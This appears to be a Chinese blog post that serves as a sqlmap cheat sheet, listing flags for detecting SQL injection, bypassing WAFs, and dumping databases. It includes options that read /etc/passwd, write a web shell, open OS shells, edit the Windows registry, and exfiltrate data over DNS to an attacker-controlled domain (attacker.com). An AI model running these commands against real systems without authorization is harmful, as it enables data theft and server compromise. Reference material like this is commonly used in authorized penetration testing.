0%

sqlmap使用手册

sqlmap

sqlmap -u “url” -p 参数 -f 指纹信息

sqlmap参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
--dbms "数据库类型" #指定扫描数据库类型
--os "linux" #指定操作系统
--invalid-bignum、 --invalid-logical #使用负数使参数失效,使用大数参数值失效,使用布尔判断参数取值失效
--no-cast #将结果转换为字符串,并用空格代替NULL,针对老版本mysql
--no-escape #出于混淆和避免出错的目的,本参数关闭此功能
--prefix/--suffix #指定PAYLOAD的前缀和后缀
--tamper #混淆脚本
-D security --tables #指定security数据库
-T 指定表 #指定表
-C 指定列 #指定列
-p ”user-agent,referer“ #指定扫描参数,会使--level失效
-u “url"
-f ”数据库管理系统指纹信息"
--users "数据库账号"
--banner "版本号“
--schema "数据库源数据"
-a ”查询所有"
-d "用户数据库类型://用户名:密码@ip:port/数据库"
-m 文本文件名
--dbs 数据库
-g "inurl:\".php&id=1\"" 扫描谷歌搜索结果
-r 指定post包
--force-ssl #https包
-c 配置文件 #扫描配置文件
--data "参数" #这个可以适用post和get
--param-del 分隔符
--cookies cookie
--level 2 #指定等级,2级才可以检测cookie
--user-agent "用户头"
--random-agent /usr/share/sqlmap/txt/user-agents.txt #随机头
--level 3 #等级3可以检查user-agent注入点
--host "host头" #level 5
--referer "refer头" #level >=3
--headers "头" #每个头一行
--method=GET/POST #指定传参方式
--auth-type Basic --auth-cred "user:pass" #http协议身份认证

--auth-cert/ --auth-file "名称"
--proxy="http://127.0.0.1:8087" #指定代理
--proxy-cred="name:pass" #指定代理用户名密码
--ignore-proxy #忽略系统级代理,扫描本地
--delay 5 #单位秒,每次http(s)请求之间延迟时间
--timemout 5 #单位秒,请求超时时间
--retries 3 #连接超时重试次数
--randomize #长路,类型与原始值保持一致前提下,指定每次请求随机取值的参数名
--scope "正则" #过滤日志内容
--safe-url/--safe-freq "次数" #失败请求导致服务器销毁session,每发送--safe-freq此注入请求后,发送一次正常请求
--skip-urlencode #取消默认url编码
--eval=“import hashlib;hash=hashlib.md5(id).hexdigest()" #每次请求执行前指定python代码

sqlmap优化

1
2
3
4
5
--predict-output #不断缩小范围,提高检测效率,与--threads参数不兼容
--keep-alive #使用https长连接,与proxy参数不兼容,避免重复建立连接
--null-connection #只获取相应页面大小值,不获取具体内容,通常高用于bool盲注
--threads #最大并发线程,默认1,最好不好超过10
-o #开启前三个,除--threads

获取混淆脚本

1
dpkg -L sqlmap | grep tamper

Detection

1
2
3
--level 1-5 #默认1
--risk 1-4 #默认1 risk升高会造成数据被改风险
--string,--not-string,--regexp,--code,--text-only,--titles #页面比较,基于布尔的检测注入,人为指定标识真假的字符串

techniques

B: 布尔盲注
E: 基于报错的注入
U: 联合查询
S: 堆叠查询
T: 时间盲注

1
2
3
4
5
--time-sec 5 #默认5,基于时间的注入检测相应延迟时间
--union-cols 6-9#联合查询6-9列,随level增加
--union-char #默认使用NULL
--dns-domain attacker.com #攻击者控制了dns服务器,使用此功能可以提高dump数据速度
--second-order http://1.1.1.1/b.php #在一个界面注入,在1.1.1.1/b.php展示出来

enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
–current-user
#查询目标数据库管理系统的当前账号。

–current-db
#查询数据库名称。(不是数据库管理系统)

–hostname
#查询目标当前主机名。

–users
#查询目标数据库管理系统所有的用户。

–privileges -U username
#查看指定DBMS用户名的权限(-U后是用户名)。不指定用户查的就是所有账户的权限。

–roles
#目标DBSM的角色。

–dbs
#目标数据库管理系统当前账号有哪些数据库。这个常用

–D:dvwa
#指定数据库。

–tables
#查询有哪些表。常和-D连用。查询指定数据库所有的表。如下图返回

#注意:查询–tables的时候不指定库的范围有时候会把系统层面表内容也查出来。
-exclude-sysdbs #:屏蔽系统库

-T#:指定表。
–columns #查询指定表有哪些列。例子: -D dvwa -T users --columns。如下图

-C #指定列
#例子:-D dvwa -T users -C user --columns

–schema
#查询元数据。数据库表结构。

–batch
#批处理。一切需要人工选择的地方全选择默认选项。这个重要

–count
#统计某个表里面的看记录数据个数。

–dump
#显示数据
–dump -T 表 -D 数据库 --start 开始列 --stop 结束列

–dump-all --exclude-sysdbs
#显示所有数据,排除系统数库据。

–sql-query
#按照我们写的sql语句查询。
#格式:–sql-query “select * from users”

udf injection

1
2
--udf-inject,--shared-lib
#编译共享库创建并上传至db server,以此生成udf实现高级注入

fileSystem

1
2
--file-read="/etc/passwd" #读取/etc/passwd
--file-write="shell.php" --file-dest "/tmp/shell.php" #写入shell

os

1
2
3
--os-cmd
--sql-shell
--os-shell

windows registory

1
2
3
4
--reg-read
--reg-add
--reg-del
--reg-key,--reg-value,--reg-data,--reg-type

general

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-s #sqlite会话文件保存位置
-t #记录流量文件保存位置
--charset=GBK #强制字符编码为gbk
--crawl #深度
--batch --crawl=3
--csv-del #指定分隔符
--dbms-cred #指定数据库账号
--flush-session #清空session
--force-ssl #强制http
--fresh-queries #忽略session查询结果
--hex -v 3 #dump非ascii,将其编码为16进制
--output-dir=/tmp #输出目录为tmp
--parse-errors #分析內建报错信息
--save #命令保存成配置文件
-z bat #助记batch

miscellaneous

1
2
3
4
5
6
7
8
--answer
--check-waf #检测waf/ips/ids
--hpp #绕过waf/ips/ids
--identify-waf #判别waf
--mobile #模拟收集
--purge-output #清除output文件夹
--smart #只选择基于错误的检测
--wizard

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/6d771160/
版权声明:转载请注明出处!